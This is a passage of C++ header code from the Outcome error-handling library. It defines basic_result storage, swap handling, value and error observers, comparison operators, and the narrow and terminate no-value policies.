static_assert(std::is_trivially_assignable<value_storage_select_impl<int>, value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially assignable!");
static_assert(std::is_trivially_destructible<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially destructible!");
static_assert(std::is_trivially_copy_constructible<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially copy constructible!");
static_assert(std::is_trivially_move_constructible<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially move constructible!");
static_assert(std::is_trivially_copy_assignable<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially copy assignable!");
static_assert(std::is_trivially_move_assignable<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not trivially move assignable!");
// Also check is standard layout
static_assert(std::is_standard_layout<value_storage_select_impl<int>>::value, "value_storage_select_impl<int> is not a standard layout type!");
#endif
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace detail
{
template <class State, class E> constexpr inline void _set_error_is_errno(State & /*unused*/, const E & /*unused*/) {}
template <class R, class S, class NoValuePolicy> class basic_result_final;
} // namespace detail
namespace hooks
{
template <class R, class S, class NoValuePolicy> constexpr inline uint16_t spare_storage(const detail::basic_result_final<R, S, NoValuePolicy> *r) noexcept;
template <class R, class S, class NoValuePolicy> constexpr inline void set_spare_storage(detail::basic_result_final<R, S, NoValuePolicy> *r, uint16_t v) noexcept;
} // namespace hooks
namespace policy
{
struct base;
} // namespace policy
namespace detail
{
template <bool value_throws, bool error_throws> struct basic_result_storage_swap;
template <class R, class EC, class NoValuePolicy> //
OUTCOME_REQUIRES(trait::type_can_be_used_in_basic_result<R> &&trait::type_can_be_used_in_basic_result<EC> && (std::is_void<EC>::value || std::is_default_constructible<EC>::value)) //
class basic_result_storage
{
static_assert(trait::type_can_be_used_in_basic_result<R>, "The type R cannot be used in a basic_result");
static_assert(trait::type_can_be_used_in_basic_result<EC>, "The type S cannot be used in a basic_result");
static_assert(std::is_void<EC>::value || std::is_default_constructible<EC>::value, "The type S must be void or default constructible");
friend struct policy::base;
template <class T, class U, class V> friend class basic_result_storage;
template <class T, class U, class V> friend class basic_result_final;
template <class T, class U, class V> friend constexpr inline uint16_t hooks::spare_storage(const detail::basic_result_final<T, U, V> *r) noexcept; // NOLINT
template <class T, class U, class V> friend constexpr inline void hooks::set_spare_storage(detail::basic_result_final<T, U, V> *r, uint16_t v) noexcept; // NOLINT
template <bool value_throws, bool error_throws> struct basic_result_storage_swap;
struct disable_in_place_value_type
{
};
struct disable_in_place_error_type
{
};
protected:
using _value_type = std::conditional_t<std::is_same<R, EC>::value, disable_in_place_value_type, R>;
using _error_type = std::conditional_t<std::is_same<R, EC>::value, disable_in_place_error_type, EC>;
detail::value_storage_select_impl<_value_type> _state;
detail::devoid<_error_type> _error;
public:
// Used by iostream support to access state
detail::value_storage_select_impl<_value_type> &_iostreams_state() { return _state; }
const detail::value_storage_select_impl<_value_type> &_iostreams_state() const { return _state; }
// Hack to work around MSVC bug in /permissive-
detail::value_storage_select_impl<_value_type> &_msvc_nonpermissive_state() { return _state; }
detail::devoid<_error_type> &_msvc_nonpermissive_error() { return _error; }
protected:
basic_result_storage() = default;
basic_result_storage(const basic_result_storage &) = default; // NOLINT
basic_result_storage(basic_result_storage &&) = default; // NOLINT
basic_result_storage &operator=(const basic_result_storage &) = default; // NOLINT
basic_result_storage &operator=(basic_result_storage &&) = default; // NOLINT
~basic_result_storage() = default;
template <class... Args>
constexpr explicit basic_result_storage(in_place_type_t<_value_type> _, Args &&... args) noexcept(std::is_nothrow_constructible<_value_type, Args...>::value)
: _state{_, static_cast<Args &&>(args)...}
, _error()
{
}
template <class U, class... Args>
constexpr basic_result_storage(in_place_type_t<_value_type> _, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<_value_type, std::initializer_list<U>, Args...>::value)
: _state{_, il, static_cast<Args &&>(args)...}
, _error()
{
}
template <class... Args>
constexpr explicit basic_result_storage(in_place_type_t<_error_type> /*unused*/, Args &&... args) noexcept(std::is_nothrow_constructible<_error_type, Args...>::value)
: _state{detail::status_have_error}
, _error(static_cast<Args &&>(args)...)
{
_set_error_is_errno(_state, _error);
}
template <class U, class... Args>
constexpr basic_result_storage(in_place_type_t<_error_type> /*unused*/, std::initializer_list<U> il, Args &&... args) noexcept(std::is_nothrow_constructible<_error_type, std::initializer_list<U>, Args...>::value)
: _state{detail::status_have_error}
, _error{il, static_cast<Args &&>(args)...}
{
_set_error_is_errno(_state, _error);
}
struct compatible_conversion_tag
{
};
template <class T, class U, class V>
constexpr basic_result_storage(compatible_conversion_tag /*unused*/, const basic_result_storage<T, U, V> &o) noexcept(std::is_nothrow_constructible<_value_type, T>::value &&std::is_nothrow_constructible<_error_type, U>::value)
: _state(o._state)
, _error(o._error)
{
}
template <class T, class V>
constexpr basic_result_storage(compatible_conversion_tag /*unused*/, const basic_result_storage<T, void, V> &o) noexcept(std::is_nothrow_constructible<_value_type, T>::value)
: _state(o._state)
, _error(_error_type{})
{
}
template <class T, class U, class V>
constexpr basic_result_storage(compatible_conversion_tag /*unused*/, basic_result_storage<T, U, V> &&o) noexcept(std::is_nothrow_constructible<_value_type, T>::value &&std::is_nothrow_constructible<_error_type, U>::value)
: _state(static_cast<decltype(o._state) &&>(o._state))
, _error(static_cast<U &&>(o._error))
{
}
template <class T, class V>
constexpr basic_result_storage(compatible_conversion_tag /*unused*/, basic_result_storage<T, void, V> &&o) noexcept(std::is_nothrow_constructible<_value_type, T>::value)
: _state(static_cast<decltype(o._state) &&>(o._state))
, _error(_error_type{})
{
}
};
// Neither value nor error type can throw during swap
#ifdef __cpp_exceptions
template <> struct basic_result_storage_swap<false, false>
#else
template <bool value_throws, bool error_throws> struct basic_result_storage_swap
#endif
{
template <class R, class EC, class NoValuePolicy> constexpr basic_result_storage_swap(basic_result_storage<R, EC, NoValuePolicy> &a, basic_result_storage<R, EC, NoValuePolicy> &b)
{
using std::swap;
a._msvc_nonpermissive_state().swap(b._msvc_nonpermissive_state());
swap(a._msvc_nonpermissive_error(), b._msvc_nonpermissive_error());
}
};
#ifdef __cpp_exceptions
// Swap potentially throwing value first
template <> struct basic_result_storage_swap<true, false>
{
template <class R, class EC, class NoValuePolicy> constexpr basic_result_storage_swap(basic_result_storage<R, EC, NoValuePolicy> &a, basic_result_storage<R, EC, NoValuePolicy> &b)
{
using std::swap;
a._msvc_nonpermissive_state().swap(b._msvc_nonpermissive_state());
swap(a._msvc_nonpermissive_error(), b._msvc_nonpermissive_error());
}
};
// Swap potentially throwing error first
template <> struct basic_result_storage_swap<false, true>
{
template <class R, class EC, class NoValuePolicy> constexpr basic_result_storage_swap(basic_result_storage<R, EC, NoValuePolicy> &a, basic_result_storage<R, EC, NoValuePolicy> &b)
{
using std::swap;
swap(a._msvc_nonpermissive_error(), b._msvc_nonpermissive_error());
a._msvc_nonpermissive_state().swap(b._msvc_nonpermissive_state());
}
};
// Both could throw
template <> struct basic_result_storage_swap<true, true>
{
template <class R, class EC, class NoValuePolicy> basic_result_storage_swap(basic_result_storage<R, EC, NoValuePolicy> &a, basic_result_storage<R, EC, NoValuePolicy> &b)
{
using std::swap;
// Swap value and status first, if it throws, status will remain unchanged
a._msvc_nonpermissive_state().swap(b._msvc_nonpermissive_state());
try
{
swap(a._msvc_nonpermissive_error(), b._msvc_nonpermissive_error());
}
catch(...)
{
// First try to put the value and status back
try
{
a._msvc_nonpermissive_state().swap(b._msvc_nonpermissive_state());
// If that succeeded, continue by rethrowing the exception
}
catch(...)
{
// We are now trapped. The value swapped, the error did not,
// trying to restore the value failed. We now have
// inconsistent result objects. Best we can do is fix up the
// status bits to prevent has_value() == has_error().
auto check = [](basic_result_storage<R, EC, NoValuePolicy> &x) {
bool has_value = (x._state._status & detail::status_have_value) != 0;
bool has_error = (x._state._status & detail::status_have_error) != 0;
bool has_exception = (x._state._status & detail::status_have_exception) != 0;
if(has_value == (has_error || has_exception))
{
if(has_value)
{
// We know the value swapped and is now set, so clear error and exception
x._state._status &= ~(detail::status_have_error | detail::status_have_exception);
}
else
{
// We know the value swapped and is now unset, so set error
x._state._status |= detail::status_have_error;
// TODO: Should I default construct reset _error? It's guaranteed default constructible.
}
}
};
check(a);
check(b);
}
throw;
}
}
};
#endif
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace convert
{
#if defined(__cpp_concepts)
/* The `ValueOrNone` concept.
\requires That `U::value_type` exists and that `std::declval<U>().has_value()` returns a `bool` and `std::declval<U>().value()` exists.
*/
template <class U> concept bool ValueOrNone = requires(U a)
{
{
a.has_value()
}
->bool;
{a.value()};
};
/* The `ValueOrError` concept.
\requires That `U::value_type` and `U::error_type` exist;
that `std::declval<U>().has_value()` returns a `bool`, `std::declval<U>().value()` and `std::declval<U>().error()` exists.
*/
template <class U> concept bool ValueOrError = requires(U a)
{
{
a.has_value()
}
->bool;
{a.value()};
{a.error()};
};
#else
namespace detail
{
struct no_match
{
};
inline no_match match_value_or_none(...);
inline no_match match_value_or_error(...);
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<U>().has_value()), OUTCOME_TEXPR(std::declval<U>().value()))
inline U match_value_or_none(U &&);
OUTCOME_TEMPLATE(class U)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<U>().has_value()), OUTCOME_TEXPR(std::declval<U>().value()), OUTCOME_TEXPR(std::declval<U>().error()))
inline U match_value_or_error(U &&);
template <class U> static constexpr bool ValueOrNone = !std::is_same<no_match, decltype(match_value_or_none(std::declval<OUTCOME_V2_NAMESPACE::detail::devoid<U>>()))>::value;
template <class U> static constexpr bool ValueOrError = !std::is_same<no_match, decltype(match_value_or_error(std::declval<OUTCOME_V2_NAMESPACE::detail::devoid<U>>()))>::value;
} // namespace detail
/* The `ValueOrNone` concept.
\requires That `U::value_type` exists and that `std::declval<U>().has_value()` returns a `bool` and `std::declval<U>().value()` exists.
*/
template <class U> static constexpr bool ValueOrNone = detail::ValueOrNone<U>;
/* The `ValueOrError` concept.
\requires That `U::value_type` and `U::error_type` exist;
that `std::declval<U>().has_value()` returns a `bool`, `std::declval<U>().value()` and `std::declval<U>().error()` exists.
*/
template <class U> static constexpr bool ValueOrError = detail::ValueOrError<U>;
#endif
namespace detail
{
template <class T, class X> struct make_type
{
template <class U> static constexpr T value(U &&v) { return T{in_place_type<typename T::value_type>, static_cast<U &&>(v).value()}; }
template <class U> static constexpr T error(U &&v) { return T{in_place_type<typename T::error_type>, static_cast<U &&>(v).error()}; }
static constexpr T error() { return T{in_place_type<typename T::error_type>}; }
};
template <class T> struct make_type<T, void>
{
template <class U> static constexpr T value(U && /*unused*/) { return T{in_place_type<typename T::value_type>}; }
template <class U> static constexpr T error(U && /*unused*/) { return T{in_place_type<typename T::error_type>}; }
static constexpr T error() { return T{in_place_type<typename T::error_type>}; }
};
} // namespace detail
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition value_or_error. Potential doc page: NOT FOUND
*/
template <class T, class U> struct value_or_error
{
static constexpr bool enable_result_inputs = false;
static constexpr bool enable_outcome_inputs = false;
OUTCOME_TEMPLATE(class X)
OUTCOME_TREQUIRES(OUTCOME_TPRED(std::is_same<U, std::decay_t<X>>::value //
&&ValueOrError<U> //
&& (std::is_void<typename std::decay_t<X>::value_type>::value || OUTCOME_V2_NAMESPACE::detail::is_explicitly_constructible<typename T::value_type, typename std::decay_t<X>::value_type>) //
&&(std::is_void<typename std::decay_t<X>::error_type>::value || OUTCOME_V2_NAMESPACE::detail::is_explicitly_constructible<typename T::error_type, typename std::decay_t<X>::error_type>) ))
constexpr T operator()(X &&v) { return v.has_value() ? detail::make_type<T, typename T::value_type>::value(static_cast<X &&>(v)) : detail::make_type<T, typename U::error_type>::error(static_cast<X &&>(v)); }
};
} // namespace convert
OUTCOME_V2_NAMESPACE_END
#endif
/* Finaliser for a very simple result type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_RESULT_FINAL_HPP
#define OUTCOME_BASIC_RESULT_FINAL_HPP
/* Error observers for a very simple basic_result type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_RESULT_ERROR_OBSERVERS_HPP
#define OUTCOME_BASIC_RESULT_ERROR_OBSERVERS_HPP
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace detail
{
template <class Base, class EC, class NoValuePolicy> class basic_result_error_observers : public Base
{
public:
using error_type = EC;
using Base::Base;
constexpr error_type &assume_error() & noexcept
{
NoValuePolicy::narrow_error_check(static_cast<basic_result_error_observers &>(*this));
return this->_error;
}
constexpr const error_type &assume_error() const &noexcept
{
NoValuePolicy::narrow_error_check(static_cast<const basic_result_error_observers &>(*this));
return this->_error;
}
constexpr error_type &&assume_error() && noexcept
{
NoValuePolicy::narrow_error_check(static_cast<basic_result_error_observers &&>(*this));
return static_cast<error_type &&>(this->_error);
}
constexpr const error_type &&assume_error() const &&noexcept
{
NoValuePolicy::narrow_error_check(static_cast<const basic_result_error_observers &&>(*this));
return static_cast<const error_type &&>(this->_error);
}
constexpr error_type &error() &
{
NoValuePolicy::wide_error_check(static_cast<basic_result_error_observers &>(*this));
return this->_error;
}
constexpr const error_type &error() const &
{
NoValuePolicy::wide_error_check(static_cast<const basic_result_error_observers &>(*this));
return this->_error;
}
constexpr error_type &&error() &&
{
NoValuePolicy::wide_error_check(static_cast<basic_result_error_observers &&>(*this));
return static_cast<error_type &&>(this->_error);
}
constexpr const error_type &&error() const &&
{
NoValuePolicy::wide_error_check(static_cast<const basic_result_error_observers &&>(*this));
return static_cast<const error_type &&>(this->_error);
}
};
template <class Base, class NoValuePolicy> class basic_result_error_observers<Base, void, NoValuePolicy> : public Base
{
public:
using Base::Base;
constexpr void assume_error() const noexcept { NoValuePolicy::narrow_error_check(*this); }
constexpr void error() const { NoValuePolicy::wide_error_check(*this); }
};
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
/* Value observers for a very simple basic_result type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_RESULT_VALUE_OBSERVERS_HPP
#define OUTCOME_RESULT_VALUE_OBSERVERS_HPP
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace detail
{
template <class Base, class R, class NoValuePolicy> class basic_result_value_observers : public Base
{
public:
using value_type = R;
using Base::Base;
constexpr value_type &assume_value() & noexcept
{
NoValuePolicy::narrow_value_check(static_cast<basic_result_value_observers &>(*this));
return this->_state._value; // NOLINT
}
constexpr const value_type &assume_value() const &noexcept
{
NoValuePolicy::narrow_value_check(static_cast<const basic_result_value_observers &>(*this));
return this->_state._value; // NOLINT
}
constexpr value_type &&assume_value() && noexcept
{
NoValuePolicy::narrow_value_check(static_cast<basic_result_value_observers &&>(*this));
return static_cast<value_type &&>(this->_state._value); // NOLINT
}
constexpr const value_type &&assume_value() const &&noexcept
{
NoValuePolicy::narrow_value_check(static_cast<const basic_result_value_observers &&>(*this));
return static_cast<const value_type &&>(this->_state._value); // NOLINT
}
constexpr value_type &value() &
{
NoValuePolicy::wide_value_check(static_cast<basic_result_value_observers &>(*this));
return this->_state._value; // NOLINT
}
constexpr const value_type &value() const &
{
NoValuePolicy::wide_value_check(static_cast<const basic_result_value_observers &>(*this));
return this->_state._value; // NOLINT
}
constexpr value_type &&value() &&
{
NoValuePolicy::wide_value_check(static_cast<basic_result_value_observers &&>(*this));
return static_cast<value_type &&>(this->_state._value); // NOLINT
}
constexpr const value_type &&value() const &&
{
NoValuePolicy::wide_value_check(static_cast<const basic_result_value_observers &&>(*this));
return static_cast<const value_type &&>(this->_state._value); // NOLINT
}
};
template <class Base, class NoValuePolicy> class basic_result_value_observers<Base, void, NoValuePolicy> : public Base
{
public:
using Base::Base;
constexpr void assume_value() const noexcept { NoValuePolicy::narrow_value_check(*this); }
constexpr void value() const { NoValuePolicy::wide_value_check(*this); }
};
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace detail
{
template <class R, class EC, class NoValuePolicy> using select_basic_result_impl = basic_result_error_observers<basic_result_value_observers<basic_result_storage<R, EC, NoValuePolicy>, R, NoValuePolicy>, EC, NoValuePolicy>;
template <class R, class S, class NoValuePolicy>
class basic_result_final
: public select_basic_result_impl<R, S, NoValuePolicy>
{
using base = select_basic_result_impl<R, S, NoValuePolicy>;
public:
using base::base;
constexpr explicit operator bool() const noexcept { return (this->_state._status & detail::status_have_value) != 0; }
constexpr bool has_value() const noexcept { return (this->_state._status & detail::status_have_value) != 0; }
constexpr bool has_error() const noexcept { return (this->_state._status & detail::status_have_error) != 0; }
constexpr bool has_exception() const noexcept { return (this->_state._status & detail::status_have_exception) != 0; }
constexpr bool has_failure() const noexcept { return (this->_state._status & detail::status_have_error) != 0 || (this->_state._status & detail::status_have_exception) != 0; }
OUTCOME_TEMPLATE(class T, class U, class V)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<detail::devoid<R>>() == std::declval<detail::devoid<T>>()), //
OUTCOME_TEXPR(std::declval<detail::devoid<S>>() == std::declval<detail::devoid<U>>()))
constexpr bool operator==(const basic_result_final<T, U, V> &o) const noexcept( //
noexcept(std::declval<detail::devoid<R>>() == std::declval<detail::devoid<T>>()) && noexcept(std::declval<detail::devoid<S>>() == std::declval<detail::devoid<U>>()))
{
if((this->_state._status & detail::status_have_value) != 0 && (o._state._status & detail::status_have_value) != 0)
{
return this->_state._value == o._state._value; // NOLINT
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0)
{
return this->_error == o._error;
}
return false;
}
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<R>() == std::declval<T>()))
constexpr bool operator==(const success_type<T> &o) const noexcept( //
noexcept(std::declval<R>() == std::declval<T>()))
{
if((this->_state._status & detail::status_have_value) != 0)
{
return this->_state._value == o.value();
}
return false;
}
constexpr bool operator==(const success_type<void> &o) const noexcept
{
(void) o;
return (this->_state._status & detail::status_have_value) != 0;
}
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<S>() == std::declval<T>()))
constexpr bool operator==(const failure_type<T, void> &o) const noexcept( //
noexcept(std::declval<S>() == std::declval<T>()))
{
if((this->_state._status & detail::status_have_error) != 0)
{
return this->_error == o.error();
}
return false;
}
OUTCOME_TEMPLATE(class T, class U, class V)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<detail::devoid<R>>() != std::declval<detail::devoid<T>>()), //
OUTCOME_TEXPR(std::declval<detail::devoid<S>>() != std::declval<detail::devoid<U>>()))
constexpr bool operator!=(const basic_result_final<T, U, V> &o) const noexcept( //
noexcept(std::declval<detail::devoid<R>>() != std::declval<detail::devoid<T>>()) && noexcept(std::declval<detail::devoid<S>>() != std::declval<detail::devoid<U>>()))
{
if((this->_state._status & detail::status_have_value) != 0 && (o._state._status & detail::status_have_value) != 0)
{
return this->_state._value != o._state._value;
}
if((this->_state._status & detail::status_have_error) != 0 && (o._state._status & detail::status_have_error) != 0)
{
return this->_error != o._error;
}
return true;
}
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<R>() != std::declval<T>()))
constexpr bool operator!=(const success_type<T> &o) const noexcept( //
noexcept(std::declval<R>() != std::declval<T>()))
{
if((this->_state._status & detail::status_have_value) != 0)
{
return this->_state._value != o.value();
}
return false;
}
constexpr bool operator!=(const success_type<void> &o) const noexcept
{
(void) o;
return (this->_state._status & detail::status_have_value) == 0;
}
OUTCOME_TEMPLATE(class T)
OUTCOME_TREQUIRES(OUTCOME_TEXPR(std::declval<S>() != std::declval<T>()))
constexpr bool operator!=(const failure_type<T, void> &o) const noexcept( //
noexcept(std::declval<S>() != std::declval<T>()))
{
if((this->_state._status & detail::status_have_error) != 0)
{
return this->_error != o.error();
}
return true;
}
};
template <class T, class U, class V, class W> constexpr inline bool operator==(const success_type<W> &a, const basic_result_final<T, U, V> &b) noexcept(noexcept(b == a)) { return b == a; }
template <class T, class U, class V, class W> constexpr inline bool operator==(const failure_type<W, void> &a, const basic_result_final<T, U, V> &b) noexcept(noexcept(b == a)) { return b == a; }
template <class T, class U, class V, class W> constexpr inline bool operator!=(const success_type<W> &a, const basic_result_final<T, U, V> &b) noexcept(noexcept(b == a)) { return b != a; }
template <class T, class U, class V, class W> constexpr inline bool operator!=(const failure_type<W, void> &a, const basic_result_final<T, U, V> &b) noexcept(noexcept(b == a)) { return b != a; }
} // namespace detail
OUTCOME_V2_NAMESPACE_END
#endif
/* Policies for result and outcome
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_POLICY_ALL_NARROW_HPP
#define OUTCOME_POLICY_ALL_NARROW_HPP
/* Policies for result and outcome
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_POLICY_BASE_HPP
#define OUTCOME_POLICY_BASE_HPP
#include <cassert>
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace policy
{
/*! AWAITING HUGO JSON CONVERSION TOOL
SIGNATURE NOT RECOGNISED
*/
struct base
{
protected:
template <class Impl>
static constexpr
#ifdef _MSC_VER
__declspec(noreturn)
#elif defined(__GNUC__) || defined(__clang__)
__attribute__((noreturn))
#endif
void _ub(Impl && /*unused*/)
{
assert(false); // NOLINT
#if defined(__GNUC__) || defined(__clang__)
__builtin_unreachable();
#elif defined(_MSC_VER)
__assume(0);
#endif
}
template <class Impl> static constexpr bool _has_value(Impl &&self) noexcept { return (self._state._status & OUTCOME_V2_NAMESPACE::detail::status_have_value) != 0; }
template <class Impl> static constexpr bool _has_error(Impl &&self) noexcept { return (self._state._status & OUTCOME_V2_NAMESPACE::detail::status_have_error) != 0; }
template <class Impl> static constexpr bool _has_exception(Impl &&self) noexcept { return (self._state._status & OUTCOME_V2_NAMESPACE::detail::status_have_exception) != 0; }
template <class Impl> static constexpr bool _has_error_is_errno(Impl &&self) noexcept { return (self._state._status & OUTCOME_V2_NAMESPACE::detail::status_error_is_errno) != 0; }
template <class Impl> static constexpr void _set_has_value(Impl &&self, bool v) noexcept { v ? self._state._status |= OUTCOME_V2_NAMESPACE::detail::status_have_value : self._state._status &= ~OUTCOME_V2_NAMESPACE::detail::status_have_value; }
template <class Impl> static constexpr void _set_has_error(Impl &&self, bool v) noexcept { v ? self._state._status |= OUTCOME_V2_NAMESPACE::detail::status_have_error : self._state._status &= ~OUTCOME_V2_NAMESPACE::detail::status_have_error; }
template <class Impl> static constexpr void _set_has_exception(Impl &&self, bool v) noexcept { v ? self._state._status |= OUTCOME_V2_NAMESPACE::detail::status_have_exception : self._state._status &= ~OUTCOME_V2_NAMESPACE::detail::status_have_exception; }
template <class Impl> static constexpr void _set_has_error_is_errno(Impl &&self, bool v) noexcept { v ? self._state._status |= OUTCOME_V2_NAMESPACE::detail::status_error_is_errno : self._state._status &= ~OUTCOME_V2_NAMESPACE::detail::status_error_is_errno; }
template <class Impl> static constexpr auto &&_value(Impl &&self) noexcept { return static_cast<Impl &&>(self)._state._value; }
template <class Impl> static constexpr auto &&_error(Impl &&self) noexcept { return static_cast<Impl &&>(self)._error; }
public:
template <class R, class S, class P, class NoValuePolicy, class Impl> static inline constexpr auto &&_exception(Impl &&self) noexcept;
template <class Impl> static constexpr void narrow_value_check(Impl &&self) noexcept
{
if(!_has_value(self))
{
_ub(self);
}
}
template <class Impl> static constexpr void narrow_error_check(Impl &&self) noexcept
{
if(!_has_error(self))
{
_ub(self);
}
}
template <class Impl> static constexpr void narrow_exception_check(Impl &&self) noexcept
{
if(!_has_exception(self))
{
_ub(self);
}
}
};
} // namespace policy
OUTCOME_V2_NAMESPACE_END
#endif
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace policy
{
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition all_narrow. Potential doc page: `all_narrow`
*/
struct all_narrow : base
{
template <class Impl> static constexpr void wide_value_check(Impl &&self) { base::narrow_value_check(static_cast<Impl &&>(self)); }
template <class Impl> static constexpr void wide_error_check(Impl &&self) { base::narrow_error_check(static_cast<Impl &&>(self)); }
template <class Impl> static constexpr void wide_exception_check(Impl &&self) { base::narrow_exception_check(static_cast<Impl &&>(self)); }
};
} // namespace policy
OUTCOME_V2_NAMESPACE_END
#endif
/* Policies for result and outcome
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: Oct 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_POLICY_TERMINATE_HPP
#define OUTCOME_POLICY_TERMINATE_HPP
#include <cstdlib>
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
namespace policy
{
/*! AWAITING HUGO JSON CONVERSION TOOL
type definition terminate. Potential doc page: `terminate`
*/
struct terminate : base
{
template <class Impl> static constexpr void wide_value_check(Impl &&self)
{
if(!base::_has_value(static_cast<Impl &&>(self)))
{
std::abort();
}
}
template <class Impl> static constexpr void wide_error_check(Impl &&self) noexcept
{
if(!base::_has_error(static_cast<Impl &&>(self)))
{
std::abort();
}
}
template <class Impl> static constexpr void wide_exception_check(Impl &&self)
{
if(!base::_has_exception(static_cast<Impl &&>(self)))
{
std::abort();
}
}
};
} // namespace policy
OUTCOME_V2_NAMESPACE_END
#endif
#ifdef __clang__
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdocumentation" // Standardese markup confuses clang
#endif
OUTCOME_V2_NAMESPACE_EXPORT_BEGIN
template <class R, class S, class NoValuePolicy> //
#if !defined(__GNUC__) || __GNUC__ >= 8 // GCC's constraints implementation is buggy
OUTCOME_REQUIRES(trait::type_can_be_used_in_basic_result<R> &&trait::type_can_be_used_in_basic_result<S> && (std::is_void<S>::value || std::is_default_constructible<S>::value)) //
#endif
class basic_result;
namespace detail
{
// These are reused by basic_outcome to save load on the compiler
template <class value_type, class error_type> struct result_predicates
{
// Predicate for the implicit constructors to be available
static constexpr bool implicit_constructors_enabled = //
!(trait::is_error_type<std::decay_t<value_type>>::value && trait::is_error_type<std::decay_t<error_type>>::value) // both value and error types are not whitelisted error types
